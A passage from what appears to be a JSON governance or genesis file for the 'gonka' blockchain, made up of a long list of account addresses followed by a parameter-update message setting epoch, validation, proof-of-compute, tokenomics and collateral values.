\"gonka1uqekt59wsnqj40ay40pndush83ngwf4vpyvm5c\",\n \"gonka1uqy4k39f35m923pdd2kyy20xc4hwyjup8sk5ek\",\n \"gonka1urf86dzpmgx44afh32ug7yy3x6hw86gpm9te00\",\n \"gonka1usa7alwmkwrvsu22fg4p8k2ftan35glprkkx4z\",\n \"gonka1usnmdjdt2xfzyl9xll67mna8teupacwt0gx2yt\",\n \"gonka1ut2k5s0jgnwx09nrkzvuprcd58m3afumcv87jm\",\n \"gonka1ut2pkphww74zzeyadhs7u7s6k9rrcmfrnzd6y6\",\n \"gonka1uuf3jr427y6hhx00nuk4g930vmyvjeesp84u6z\",\n \"gonka1uumdyg9wqd4y0tp4kmqk855fzhyur9vrpq54m2\",\n \"gonka1uup559m63mjcq6wyewff2su0e2wv5lsyyrcrll\",\n \"gonka1uv8lw89ththtj05c54wehfnqls9u2pza53q33z\",\n \"gonka1uw0kpk6hcmm0sh05l27sq6m5max7pg0n2ptsuk\",\n \"gonka1uwf8ce2knja6az8x6l2fawxh0yx0pz68n7pk7c\",\n \"gonka1uwknfekug2ykhygjpfy5n7uc8l6naxz267dgsw\",\n \"gonka1ux4gjvk07z6utgjqs3ttwk9lzr4cn7y0225n57\",\n \"gonka1ux86q8cgnpvkal497xag8p04ds2u2v23qxawv6\",\n \"gonka1uym5ugewtkwpcjs48f68uda3x2xjthmtatf7s9\",\n \"gonka1uz0cqpsgm8p2309exw04es8ddymaxh4sjlkvds\",\n \"gonka1uzseyfxgfu5zyp6kmsxdxuc8v0dsut9u7l8q3a\",\n \"gonka1v075hwqssfhg9puu05wff4chj43tene34m69z4\",\n \"gonka1v0td7x4ndxhveg50vzp6nkz4s25qy2wpvrxm32\",\n \"gonka1v0uvvhrxje6zqeyqqransjulw8h6wfkhmut5s2\",\n \"gonka1v425qs8gxupjcw3lqx5fsldtve88vd9gaa7r60\",\n \"gonka1v4h2k3xevzud35pvmfteqgt3wvqv9juazgpc5g\",\n \"gonka1v5dx7wtagjs428wks2fhhelgk5lvrv3a2kfzpk\",\n \"gonka1v5ggga7lslfg2e57m9anxud40v2s4t9dw8yj68\",\n \"gonka1v5k8fqqfc0v798gm8svcv6tczppvegsetw4mfc\",\n \"gonka1v765pascdp3v6qqtpdrcqm8qwdwq4hxa85gu5z\",\n \"gonka1v7n6p2ahk3crq72ml03s2atxx54tslm05ljegr\",\n \"gonka1v7vp7n3c4rw6qs6v3fxz2xqzvc3evq78uj3s78\",\n \"gonka1v88x0ss42fayta52dne50em0ys78thx596s973\",\n \"gonka1v8z57yg47n8h4zveyj4cdpn0ll8k9zpcm7egkv\",\n \"gonka1v9470ud6z8qugz4h8l9fzpm7r0zpus59dmm49c\",\n \"gonka1v98ujdeqleke9t9hu3uwlj2fnl4w7eajuf807e\",\n \"gonka1v9j2m8kax0a2fl8wr07nwwhnvz9n4gh9hfwkmu\",\n \"gonka1van8gsjadpp390wn9dn3uk785amv8plervrrz7\",\n \"gonka1vc5fdc8hdy0mkga5x9qzkrv0qnnvsdckzxf52l\",\n \"gonka1vc7zlu79yqzcwnx2rj0nhnn9nwqr90sfj7ek7z\",\n \"gonka1vcxtkr3ysjuscvfx96u36rqlqydzvtw8jkkzjc\",\n \"gonka1vdw6tst3lelc84garssnnjzx7fjpkja2wzpxe8\",\n \"gonka1vfafh4jq674227q8j0h33fwz4jmgtxmp4vsd93\",\n \"gonka1vh0gcrqj87qjaj4w9gumlvgn6kukj0507tr7g6\",\n \"gonka1vhg44vzedv5dzp8njajh8rtylxsctqr2xv5v6s\",\n \"gonka1vhph86z8s64n9fy59cqnyueudjaavce4tn6uj2\",\n \"gonka1vhsq90aynmx9dh5crfa2jpaps8pnw0t7rpnle5\",\n \"gonka1vja7resa43dh09kcz8yphnl2ntzt03z7wcu5z8\",\n \"gonka1vjshzxh3sfam2xh0f7vzz4klrv5pkq4zutk8qt\",\n \"gonka1vkafyzr5yz5aht6gzapw6lc52h5wwmnrjwvqlz\",\n \"gonka1vkejpc23506fhl08smlc6a0vhlkyvqf58mw80t\",\n \"gonka1vkf44mhxmf8tnsd8naffgkcklgm2sc4egpw3xc\",\n \"gonka1vkh8e2uqk9mdw0ql83g0p4ge0wmqstcasulngn\",\n \"gonka1vlcd8tr2nh5x6h4wl9vacpzucpp9a2p9rv8c57\",\n \"gonka1vm7kk386cn065gxu4jxgssjr26lrptrveavdfy\",\n \"gonka1vmhd38lxl68lm76755u4xdxp5wqm646a2hasze\",\n \"gonka1vmksq2lcutx2s7ue6eaurejam98f2lqgqv5rj6\",\n \"gonka1vmwqf4mkl4ucqnrgjmnsl694hktepaecuvvyz0\",\n \"gonka1vn6hk34wme5xvqzjmm26u9snkxg7nqd490gmwq\",\n \"gonka1vnmmnq4x9f7d3kume6xq2fh8x3mdye25gclzln\",\n \"gonka1vnqkfvynhyth9j0vv7zkj97czexn9lx3yv9ea2\",\n \"gonka1vp9m8e9yw6yky45fkcekspx9u3useaj0aa37qn\",\n \"gonka1vqxu2rx9s0l7zf8gyuty2wg2cm2vk2zdgse5nn\",\n \"gonka1vr2kemnagr3lhqhnxxz8rknxecwujxh0znljul\",\n \"gonka1vrrsqx454f04dmadju83dps8742lh0klrjq05n\",\n \"gonka1vs26xk4zvv6dv56j8r9ns7wzk6s00p8etk7wu7\",\n \"gonka1vtq7skdleemwn3vzh9xlt7x29a2s8ykedcc5e5\",\n \"gonka1vttxzd68fur26l9lew5netz6wxnx7hmmzdkqrn\",\n \"gonka1vtzh9e6m2ypwms3m28mt0y8d8x6xf927lkva5m\",\n \"gonka1vumgvuv4ln4s0kjlxj2zmu09s6k233096pemp4\",\n \"gonka1vur7jr3m5s66k28zd4dpxd4zn28qk3mwdqccgl\",\n \"gonka1vwmvfhguwdwz8987waanh69zvyxe5cdtkvqqx6\",\n \"gonka1vwp26f092nhg8dpfgma63ayp8xuyzh3xz34cyq\",\n \"gonka1vwsp87trl60t4g67fa677k7d7jztuc3g4qjc3w\",\n \"gonka1vxfdzcjvxxrwsj99tz09h3k88lxwk0xmfqx4t7\",\n \"gonka1vxmmas5zkp4pee0rkv9dsy54pugy7ln3fas68n\",\n \"gonka1vxs4azxcym36wts0t7z5nj65ma8pnkvpmywxa0\",\n \"gonka1vy396smh98ak3ts4zlthjnsv2ypr845mrfz7x5\",\n \"gonka1vz2ygndntgjw2nyrqgehd4sayw64pz26tvw7qt\",\n \"gonka1w0tchrxx49gfc0n8jua94pav7tw0l5hrhuzywl\",\n \"gonka1w0vl46tr786vdtgtk5fyadnsqtl8pyc8cf7txy\",\n \"gonka1w2dtrs7thx2jfeu389ztwc38h0nd4pv2hl7xtp\",\n \"gonka1w2pxkv4v6r5h6sdvges287l2g5rsd3r4x77080\",\n \"gonka1w3ewq7swwdxx8fsht8tl250f7qv44edhlltrh8\",\n \"gonka1w3r6sjxjaxj8y4gd5z6dt9levdjhsmhzfj3l7k\",\n \"gonka1w4u0ylrw5sl7nczl52vfjzz8ccvgaltrnejklc\",\n \"gonka1w50e3hn86mt8gmaknecnr4mez0j94vlw04lcjq\",\n \"gonka1w59gydgpkexrtuhjzvq7ms4fk87a52yfkaxlzu\",\n \"gonka1w5r9hazcw30ykc88m9wtwqfc0hvtyyfl0eyt75\",\n \"gonka1w6439pku8l32dzxrvy73y6t85jf8azfet7ulnf\",\n \"gonka1w6cjf08fgm3yalqf7ytt0hz6thlhs53d2fn7j2\",\n \"gonka1w6kt2aj02du25kuc9wsza94h9l7exa0uf64fjq\",\n \"gonka1w6wwv3wq25p8qge4lqsnfzs8lsd3s8ty6au65p\",\n \"gonka1w9zuag3atlsc4e5twyk3dklngf00uqszswxfv6\",\n \"gonka1wavv3jgx6d035nz79an2zwukltsa5jmmvg78v7\",\n \"gonka1wcqxjxzjsfwvaxl3l24qzemjlf0e8nextxhv8j\",\n \"gonka1wcxzxzhwjqzdr3uv6ej73ewxs0zw6dcnxvnr8e\",\n \"gonka1wd0evpm3u4ugfsr6vsr2jsdfqqmy57pw03l444\",\n \"gonka1wevtku4rm50m9jy6zgzvaxxu2xcx4kxmlz6rxw\",\n \"gonka1weya2e3ghtymyq2euv98nezgdmu4cuym6jqhwx\",\n \"gonka1wffadfyz0m0r8rrkgkzqvwq3h60z58t90v2vx7\",\n \"gonka1wg894suuxx088yaw6etlh273y0fk946ygl8srz\",\n \"gonka1wj8cnrcagjty98wplk3mxas4cxvyde9w446mzd\",\n \"gonka1wjxkarkm69harhu6h77n56slpqmjg6ygarf4tl\",\n \"gonka1wmkuw2aseh8txs47nl9ja4ydj3zex3n0s6wlt4\",\n \"gonka1wmqlm0yg3fd07ala8kss83wugraqfxxupptlzn\",\n \"gonka1wmxautv27705qfsaeh0k7ln3zpzr7ms70uhmsz\",\n \"gonka1wn59zuv2uu5yrtgy6jj3l7gqfpn25u4pyvm8gt\",\n \"gonka1wn5t79a8vl7pe90xndxe5rj4uqsntwqa2k8950\",\n \"gonka1wncyr3fhv2nddh55ul3sp6mae9m3hhs6uw6e56\",\n \"gonka1wnhd4uqvf3k38av7m9s3ssdzu0kvqskmes69gu\",\n \"gonka1wp5awdtgf8dvrnc8zz7x8nen7wra32qerr72l5\",\n \"gonka1wpan224906ant68frjd8vqreaxr87hudy2wvd9\",\n \"gonka1wpar5p0kmn5cwwn5awzjeycgt6rkr58723fttn\",\n \"gonka1wpg4enqr88smt8ms2afy6tnhvu84nkrj6nw78s\",\n \"gonka1wqdugevdn7ncdn37dtgusez48hqllat3f2npqp\",\n \"gonka1wrcr9gxu2r94chjsuk3wpcqefsv7ts0rnc94ve\",\n \"gonka1wsnawnqxnaly69zyjy0q54um7lws2a0h0p5g7d\",\n \"gonka1wssxah2n99y3rk8trnhhrlmfnjvctmzxqdlfc3\",\n \"gonka1wtdclwuqzkftgvewyy5eespzfmhvsd72aw4vae\",\n \"gonka1wtgcg5283mptdanvhc5xx9njxp4jkr7e6d6kh3\",\n \"gonka1wtncy6s3pl243sq3c4u4ketlktu89332mq8sxw\",\n \"gonka1wudxqp62tjpjgzacss8wfwt80a7yqpjzgagtqf\",\n \"gonka1wus9fvrxvx6sls623tme6rfgznu0l2myxm0k7z\",\n \"gonka1wv3xjmltywfzrw26cwr77y95ctktf2kqz47nqe\",\n \"gonka1wwelvfqawyqe3c8m4jyrusza2ey9qqvmwc2062\",\n \"gonka1wwx6nhqe7xlyvqjs0r3wj767xaurcucvz0npmn\",\n \"gonka1wxhqy4g2r3yz0aa0dhyswvgp2qqmzlp8a7vysw\",\n \"gonka1wxzy4uh88gxl08gwyw4l2cq6gmkjjq4yvv946r\",\n \"gonka1wyhnm2w3hpah5kfyjc0jnha4mcdfwuukr36k96\",\n \"gonka1wzcaq4kph5et8hrjhjrg65s95eslz7zpzulsud\",\n \"gonka1wzf9qqfnw6h7ddnf6hg2veje730qj94pqexfz4\",\n \"gonka1x2lalvrn6cucvzwfcd5cwwhggfuxqckw8k0zrq\",\n \"gonka1x2qapwtlprmlcxrdtvrskswuznn8v29r4se5tc\",\n \"gonka1x2vld9c33f8p67nrm9lf3p797qsyh0mpjle8l8\",\n \"gonka1x3e7306tdw22td8x7kmesnu5e4s5shcl6yqhyn\",\n \"gonka1x3fx4lv49xhjkdc4wqpshulawu0wj7tx4a4ms9\",\n \"gonka1x3wd5ypslj50nk9cvs72e3re9mfcdpcqwhnulj\",\n \"gonka1x3z0cpfmt366qy2jqpjptfhd8epsp0tcsq2n7u\",\n \"gonka1x45wvrqz4vy02hewle9fuwh8a8lc7fnhd8k0yf\",\n \"gonka1x4rmvlzx6yrxdl74242nmxh0575jnxf5nvm25f\",\n \"gonka1x4wafrl70272pzg3897zzefexwtmeuyar7tsll\",\n \"gonka1x4zre05983hdlasvgg37tw9ga2wy2l8mmellf0\",\n \"gonka1x5qf8s2u5hsyyvvk79sr3w4cv0wakkr9atprm2\",\n \"gonka1x5vauttk3el3f9xqy80zz6ggty7l4kkll276lu\",\n \"gonka1x8pupvvcgcn00kguy9umycj98qgqehwlxt6l93\",\n \"gonka1x8rea443t8qgrrvqgf7rhxv5s3ujvqcgs8udg4\",\n \"gonka1x9qndq86jt6x8r5pqx4hlx92rl0x3qu2hn2d3r\",\n \"gonka1xa0h9g6tdg3gntu7t2vdk48fsca8qlxyp6c7zf\",\n \"gonka1xaqsz52keh4td77z5g792kq5f2yqkukdvzmvyf\",\n \"gonka1xarpggza7rzp23srr85g2dedhxz2w8qlltv63w\",\n \"gonka1xayazzcc4twv6gelka9duhjl8c6kv3pl9gx2ql\",\n \"gonka1xccz7s9k0mhys2uuyaqjsnn2wm90uv3lrh7s4r\",\n \"gonka1xcjc32p5g72gc4tjxsm890star2l7w2g8n67w6\",\n \"gonka1xcu3jzaecelnnjhsjshrrgmqwlfqf7r6t8tfvn\",\n \"gonka1xcvj6xlqy7p7fzyne5jqrnz96fa4xfh35vymwt\",\n \"gonka1xdx6tywcwjj74hmyxdr7v9mexg58zp7scuwumn\",\n \"gonka1xec9u9kczf7jckvtxgalghsfcnk938h2ng9flq\",\n \"gonka1xeura290zggxuy5p2u70dtcs0crhgycjf3sxm0\",\n \"gonka1xg25gmn8uzeyzqqrchx6mfz379mvg43zsvj0y3\",\n \"gonka1xg7n297px8hnfva8trvza3t37qcm33jlz4nflq\",\n \"gonka1xghj8y0y49c74cpjyzel7r3r0uxaz685gue663\",\n \"gonka1xh09vkepgdwgdrarzqkcwnmu7yh4na2mag0xdu\",\n \"gonka1xh4w0uz432gtrjvfeqmtenkscqla3fzl5lvyyc\",\n \"gonka1xjzevenwugx3g05aa5jp3f78775ewcv8ya0j4j\",\n \"gonka1xk4mz0avlmvzser49tfrcgsjglq4a8u05j55p6\",\n \"gonka1xkk2g9t0t7euahr5wtjerv7tng3pnrcl0h3gcz\",\n \"gonka1xkk6nrxhlty9nt3yj80m4c3hsu962rjn2wmstc\",\n \"gonka1xkl9gxtjcde5rhhsqjch92m0xccwp6rh67k4hp\",\n \"gonka1xl56zt2c2ahfuk0u68x084avulmth95lptx9cs\",\n \"gonka1xlhf46rtwrnulfhzzwldqltynsyk22pesyva5l\",\n \"gonka1xlvxvzec4n4xn8mjyj88jrg7zlkmfqy9uglucu\",\n \"gonka1xm6gxfut4zz4358f0p32sj3jsl4cvthgdsnffg\",\n \"gonka1xmjrx334m6vsv32uvt0em0jzsd8zn9qfmntmy6\",\n \"gonka1xmtxd6frwdwvgeleettq769he4adc5g4vw7ejv\",\n \"gonka1xpvunl3269g3sejxg02hhke6nmwdwpf5gy6xw0\",\n \"gonka1xqt2sd42lzgcgvun37dcu65muyj4zfyhdhkdk6\",\n \"gonka1xrcdrdjy0s0e5nhy6nw3tcm9vrzn347qtct4p2\",\n \"gonka1xsglq4r3kaf7xr05yxgpcve8pju7zndl0xqn78\",\n \"gonka1xspavhncfmlpsllpfajs3r5623a4s8tcumrmwa\",\n \"gonka1xtd5kgw3k62jxumvtymvzww8dajrvu7cl9resf\",\n \"gonka1xteg3zgysvkvfl4lzs5gwxpkgtx0qra6m90jv3\",\n \"gonka1xtqxm7wx5qws7smmvwltzczfmhhpvysj3yzkfl\",\n \"gonka1xtwmtuyylt4d6uc6rds2lmpr2whmxx2wyteac0\",\n \"gonka1xuk3ganuhygvpge340sfepuwlr89s50fytlx2p\",\n \"gonka1xwtm07gnned6kf0j8vm3umryjutrhn2z467lja\",\n \"gonka1xxpvru04dvxzzq3kdwy93gu6yr47xrcr6mtjs9\",\n \"gonka1xycg2mc0ktaz4372q4ln3f0thefk86shhguk0w\",\n \"gonka1xyj2jlq36rhauw7lx6zwmj26dregc7qqd660vz\",\n \"gonka1xyxak0gyx76hrrkwukvyc6g2rpkruwjkpuh0p6\",\n \"gonka1xzajvz25mj3jaujmdu3c07phzwdm3zy0xh4yx9\",\n \"gonka1xzqcjz7vt9py3jn6jqkvs890txpry8cjdtrrna\",\n \"gonka1y07fqanen3dwgr5dku36gy8lfk3uxtj000t38p\",\n \"gonka1y0c59fsgtzxw4gdz96gnm6ke75j3cstwh5287e\",\n \"gonka1y0y9fcfhlhuz76falhdekx8w56pk88jaxssydu\",\n \"gonka1y27z7ujdhyugf7fzj69prey7m2f8rerx2zumpz\",\n \"gonka1y29s2ckdl0csktxhpx77a7dvwyhj9u4xyrcynm\",\n \"gonka1y2a9p56kv044327uycmqdexl7zs82fs5ryv5le\",\n \"gonka1y2e6vzpws7dguken363g9zfs3835l7k3m2p8x0\",\n \"gonka1y3r32jhy6s4ge2sl5ly5s90gc0r9d2n4wmzvu9\",\n \"gonka1y46v988rv03mdn2c320fxtle6lramzk4nf8s6r\",\n \"gonka1y4h94tjlg89lgs5l8gxk5vp76vqkenh453aqm5\",\n \"gonka1y58p9p64g0hu6uct73qhnpwlgum9t2fjjqmu4j\",\n \"gonka1y6ck2z2mdlmg9lru45uc8wge7d0te8q47t4eyw\",\n \"gonka1y6g6xx6lyp3gdnyq7k9tm9fa7ykzjdx68hyzpx\",\n \"gonka1y6pvlv88a0jn33dxzx0kh67m9nqmxypkrgc7uk\",\n \"gonka1y6wq2ghzq8edr7hp5myrctjkeqhdry8yuz0ft5\",\n \"gonka1y7c7zmn7y2h94qqe7q4w2300u85lzsp2nlxtgf\",\n \"gonka1y95qr73kms3zv5ju0kxtu58ksxdyrkyz8m0430\",\n \"gonka1y9vdzmy84uy9c9dgqx8adnusg3ssv7wjmscga8\",\n \"gonka1ya6mzkqvk7ss3l4jnu5fspt5vvzzmnn2ftqvda\",\n \"gonka1yaqxj5hxmme0q7m2wutngne0fdyaajv83p558f\",\n \"gonka1ycmm7dsxa6sg09x2yg05elta6wwcj3mk6em45l\",\n \"gonka1ycwxzenntgm5vrz696n9s0fv43g9cp3dsux3ku\",\n \"gonka1ycyya4sw9qyfhzq5c8mz9xqgdyd5jcxaaw8343\",\n \"gonka1yd8s6z8enw080kj2wgynuwdxzx40gttchqe4za\",\n \"gonka1ye7unfm0nf6qa7awmcgxql7u2zq9fqv0g5qw3h\",\n \"gonka1yfzf79pf8qapdmue6xx4j32fccktz2svy0030t\",\n \"gonka1ygzpvwx56xhtqylysfj8dkw7dpeampewpexvrc\",\n \"gonka1yhu3dsc5elznnc3fsw9rmfvvng2nf02ca03ng7\",\n \"gonka1yhztnnpnpt9ef6j520sh7x3aef5pxwewrsgzek\",\n \"gonka1yk34z38t92jzjgq2ga7tkfpj07sf4ss3tj6n2m\",\n \"gonka1yk9yfpnp4m439sjydwxt5ddvgfluht7zeem2mr\",\n \"gonka1ylhpz2dd9f6x6apkzr773yw0kaagkhpaph86qn\",\n \"gonka1ym3np7guxart483yfdxnlztuazx22cjt0e4a2p\",\n \"gonka1ym8yy3g474za5u5f739lxm6gctanc3ldustm96\",\n \"gonka1yn54kaefrf7sjk66c74gqap0mquzjqvthsyhwe\",\n \"gonka1ynv0jkg24cm4nf6gkwgqr8e6rjw8yc94raesls\",\n \"gonka1yp4s6p4dfd8gl3q8yz7tnqv58w2u7090zaze6v\",\n \"gonka1yp9zq863pfu4muamh5p6y5ahq00g47d8dtdwln\",\n \"gonka1yps5566s8222gefuwxep5yusv5fndvact0v2jq\",\n \"gonka1yps69kyf78rz9qj6cl58krkxp753tr56vt8phd\",\n \"gonka1ypy2ygsa7se9lrcwxlstgwsy0lfged0kg8ft95\",\n \"gonka1yq4vwn7fc9x7lykjhc0x3e7r2atee32czy34mt\",\n \"gonka1yq9kcavnnn3s7xj2ghzexjql7h4ca52rdnknza\",\n \"gonka1yqhuclpv6v0nm0kkkdn8gf7nh28fqtrv574987\",\n \"gonka1yquunstmnn35tuc6wsrlv020ul2rnuyldqkt37\",\n \"gonka1yrsd0w7u9rhc34pefu3gmqsa3kadkqehl2kmfe\",\n \"gonka1yrzpu8lp6tcark7vn0rjx2666fdceqcc8jmem6\",\n \"gonka1ysmj80gjrk5zswqmhevsugqrgvl30h973tv9pu\",\n \"gonka1yt2gm863yknevuu6nq6dzafckpxkjdmz3m0pct\",\n \"gonka1ythzsrcvd47fk2umtu6lvn562e9424es7p95wc\",\n \"gonka1ytmv7l93dv0xclwhqx9k8lt4yj3jfwylda3yv2\",\n \"gonka1yu3mrl4w3lgr3wu33sxpkm6j9du5pv65um5gcl\",\n \"gonka1yuqkaz3zlyg6kwsmjsmr69vy08yd8ufjyew9zk\",\n \"gonka1yv5nq3kzyaa0urcdfs4cu0ampcdw9d2c5dk0j4\",\n \"gonka1yvewyvecx746gm6ahlydptlxwx93d66dwsth24\",\n \"gonka1yw2klh9ew87jg5flesna6uf4phdyzzw0243jex\",\n \"gonka1yw3ggwwftvp2u3vt9l5hcyqftkd05nu4j3h7sr\",\n \"gonka1yxl3u4kgj9wwwf7yc46t74a3fky9fa8gfltj8v\",\n \"gonka1yysfdney9ayqhgd8e03zdkhqte3pr09zzevdrq\",\n \"gonka1yztsu2v8ywzfgejqc332w6ygcza9zp79zn5l86\",\n \"gonka1z046uvnyqryv34ecp5hnmpm5wh837jm3dy4tdv\",\n \"gonka1z05ztpmhgz0vj84t40nlvz4m003p3qwtsz5nk2\",\n \"gonka1z2uvzety5ktp6x39pgsmxjgqu2pzvuh928lm6v\",\n \"gonka1z3jn2nsta650733hsd7d55h7phv56t6yykj6yx\",\n \"gonka1z3kelh3gx3t6kz303f8trdll3j5ap3zz8csyfm\",\n \"gonka1z4ldfav9tl7x3w9aqfry89zd0kt7sa2lhff6te\",\n \"gonka1z54yfs6424efhsuxg060wu5pses56g7zga0z3m\",\n \"gonka1z669rrm4sygpede8sqddavhsef6wc9vwjsp9wh\",\n \"gonka1z7h4mzz5kkcydj4l6lzr9j73x49dlcq84mmkrv\",\n \"gonka1z7ph9yp99lh5yr4zs0gv20sht5a32uh3rtjlwh\",\n \"gonka1z8dh5kqdn2nnsg527qawy58ca5fme38xffq7ah\",\n \"gonka1z9fgh9mxsug0nyyp9p7l3dvzhuplflakc2xjkn\",\n \"gonka1z9whxqam96r6xh6h4088lcjmy3uec2l5v32dww\",\n \"gonka1zajzjefaegdmulnqeq7ads04jh5pm9c4vs4a7u\",\n \"gonka1zaklf2yedw6my8lw6vt797vzpn67qeusj5a6zl\",\n \"gonka1zap7nsccl6x83ucwvq0q6qrefmf9n7ejmj49j3\",\n \"gonka1zcsj9h5dvl0jdgen9u8levdn7exvnffq0ayql5\",\n \"gonka1zcznpcp8hfe9ca8jnk9mtc2dmddf9t8cz5temj\",\n \"gonka1ze3pxkfyvk2jqyswnvzed6qa364f6nd6x04m3g\",\n \"gonka1zeaucp7k6cauj84e92wccnxnsua0a73rl8tpvj\",\n \"gonka1zepcpcnw6qa45k38muhgavzflelun6rh5hu35k\",\n \"gonka1zftzg8jxcu5jkevnrstzsh49a0p6vp3pwx3uwx\",\n \"gonka1zg0r3tru3z22mtu7gn74shssmyfjlghtckfatg\",\n \"gonka1zga6u9tycf3752e8yxr45tygymfkw6fxlf86pd\",\n \"gonka1zh5kme35psmcvlx2tgrg5nzlm0mu0ea3868p67\",\n \"gonka1zhac4vznmnk63jyrvgz5nskhskuz0a80ql9l0t\",\n \"gonka1zjajt7pt4tx0djf9r7gksur320gug5e9ymqkaf\",\n \"gonka1zjyq40fs8grxh4zme0w4s5qv3rvssnccru4xmw\",\n \"gonka1zkegnzhzcyeu9m74f8907tg5ga2dyhxnfuxm0w\",\n \"gonka1zkmn95dkr6kpt7vaqc4vdues0q4f72rttcfxq6\",\n \"gonka1zls8l6d825gchrvtqgykzrdkqlvzcnyhstft46\",\n \"gonka1zm5t9v9mrvpr4ddfx433snxqa8uyy32fqwp5zv\",\n \"gonka1zmkvl7ws46vhq4pkaxzm4c5x3d9kl5kpymkjj2\",\n \"gonka1zmx4cwayvhf8hevcu6am0sk8ul5trckc2uftmp\",\n \"gonka1zmxs507rnegc0takkkarfsu4cktemhzz4anmet\",\n \"gonka1zn4ey6xqym4vzr6s8trtu65n9wez648fysxz67\",\n \"gonka1zpm8qujddac84y7wfh7h3p85ys336n9zjqckzl\",\n \"gonka1zq9440mp8dlja32asrseascgs4xwwrwdrrratw\",\n \"gonka1zqddqel0zwzae6zfeh4dpt45d5f656yghdenpp\",\n \"gonka1zqp2nzfra4n3eq0vf6nrdqqmua3fknul5mjn4y\",\n \"gonka1zqw2tpr69zj44qv38flanuyce9ufakpdvr4xnv\",\n \"gonka1zqxg52qngwtgzgnrvljdwcwt9q0jz9r2djkpyj\",\n \"gonka1zrmra5s53f6pgzxx89znkn5k0duwsksr2xuzke\",\n \"gonka1zrnrd7zcqnhjytqa8zsg63slxt2g45ctlqy3fm\",\n \"gonka1zs04qud0wnca4ryp4vu7888nfr3gl5q9hhaf7e\",\n \"gonka1zsnpv9htjtq35ux04hal5l8dnlgah22zl6rk3h\",\n \"gonka1zt30y870usf0fqjwm3600d2zc3qqk9yxgsggvt\",\n \"gonka1zupqz5a8w4a5mjqdqylq8h6hr3fl2arvlkd38r\",\n \"gonka1zuvs5jm3r3wpcatfepzmfqlg82em5sglr5qx4l\",\n \"gonka1zv89w02sdfzwy74s9vcthk38dnfsw36s4h7s93\",\n \"gonka1zvuzj7ya9zafw309prasd0r4jhykf47mhcpp3x\",\n \"gonka1zvxyj7xykheej9vkk0ttvel0eynql9pxlxtr9s\",\n \"gonka1zw680tan4k6uwklyq6eedmga8ew85ys4arqkdg\",\n \"gonka1zxlyzhhe3qvd568su0qey7wam0drutrzts5f88\",\n \"gonka1zzkxnpq2txntwh5eu49jk67x42yh8wystnkamy\",\n \"gonka1zzrrrk7349qqqpykqker092y2ske3m8afgure3\"\n ]\n },\n {\n \"@type\": \"/inference.inference.MsgUpdateParams\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"params\": {\n \"epoch_params\": {\n \"epoch_length\": \"15391\",\n \"epoch_multiplier\": \"1\",\n \"epoch_shift\": \"16980\",\n \"default_unit_of_compute_price\": \"100\",\n \"poc_stage_duration\": \"60\",\n \"poc_exchange_duration\": \"5\",\n \"poc_validation_delay\": \"5\",\n \"poc_validation_duration\": \"120\",\n \"set_new_validators_delay\": \"120\",\n \"inference_validation_cutoff\": \"20\",\n \"inference_pruning_epoch_threshold\": \"2\",\n \"inference_pruning_max\": \"5000\",\n \"poc_pruning_max\": \"1000\",\n \"poc_slot_allocation\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"confirmation_poc_safety_window\": \"0\"\n },\n \"validation_params\": {\n \"false_positive_rate\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"min_ramp_up_measurements\": 10,\n \"pass_value\": {\n \"value\": \"99\",\n \"exponent\": -2\n },\n \"min_validation_average\": {\n \"value\": \"1\",\n \"exponent\": -2\n },\n \"max_validation_average\": {\n \"value\": \"1\",\n \"exponent\": 0\n },\n \"expiration_blocks\": \"150\",\n \"epochs_to_max\": \"30\",\n \"full_validation_traffic_cutoff\": \"10000\",\n \"min_validation_halfway\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"min_validation_traffic_cutoff\": \"100\",\n \"miss_percentage_cutoff\": {\n \"value\": \"1\",\n \"exponent\": -2\n },\n \"miss_requests_penalty\": {\n \"value\": \"1\",\n \"exponent\": 0\n },\n \"timestamp_expiration\": \"300\",\n \"timestamp_advance\": \"30\",\n \"estimated_limits_per_block_kb\": \"0\",\n \"invalid_reputation_preserve\": {\n \"value\": \"0\",\n \"exponent\": 0\n },\n \"bad_participant_invalidation_rate\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"invalidation_h_threshold\": {\n \"value\": \"4\",\n \"exponent\": 0\n },\n \"downtime_good_percentage\": {\n \"value\": \"98\",\n \"exponent\": -2\n },\n \"downtime_bad_percentage\": {\n \"value\": \"99\",\n \"exponent\": -2\n },\n \"downtime_h_threshold\": {\n \"value\": \"1\",\n \"exponent\": 2\n },\n \"downtime_reputation_preserve\": {\n \"value\": \"0\",\n \"exponent\": 0\n },\n \"quick_failure_threshold\": {\n \"value\": \"1\",\n \"exponent\": -6\n },\n \"binom_test_p0\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"claim_validation_enabled\": false,\n \"logprobs_mode\": \"\"\n },\n \"poc_params\": {\n \"default_difficulty\": 5,\n \"validation_sample_size\": 200,\n \"poc_data_pruning_epoch_threshold\": \"1\",\n \"weight_scale_factor\": {\n \"value\": \"25\",\n \"exponent\": -1\n },\n \"model_params\": {\n \"dim\": 1792,\n \"n_layers\": 64,\n \"n_heads\": 64,\n \"n_kv_heads\": 64,\n \"vocab_size\": 8196,\n \"ffn_dim_multiplier\": {\n \"value\": \"1\",\n \"exponent\": 1\n },\n \"multiple_of\": 8192,\n \"norm_eps\": {\n \"value\": \"1\",\n \"exponent\": -5\n },\n \"rope_theta\": 10000,\n \"use_scaled_rope\": false,\n \"seq_len\": 256,\n \"r_target\": {\n \"value\": \"1398077\",\n \"exponent\": -6\n }\n },\n \"model_id\": \"\",\n \"seq_len\": \"0\",\n \"poc_v2_enabled\": false,\n \"confirmation_poc_v2_enabled\": false,\n \"stat_test\": null,\n \"validation_slots\": 0,\n \"poc_normalization_enabled\": false,\n \"poc_stronger_rng_enabled\": false,\n \"models\": [],\n \"validation_vote_threshold_bps\": 0\n },\n \"tokenomics_params\": {\n \"subsidy_reduction_interval\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"subsidy_reduction_amount\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"current_subsidy_percentage\": {\n \"value\": \"9\",\n \"exponent\": -1\n },\n \"work_vesting_period\": \"180\",\n \"reward_vesting_period\": \"180\"\n },\n \"collateral_params\": {\n \"slash_fraction_invalid\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"slash_fraction_downtime\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"downtime_missed_percentage_threshold\": {\n \"value\": \"5\",\n 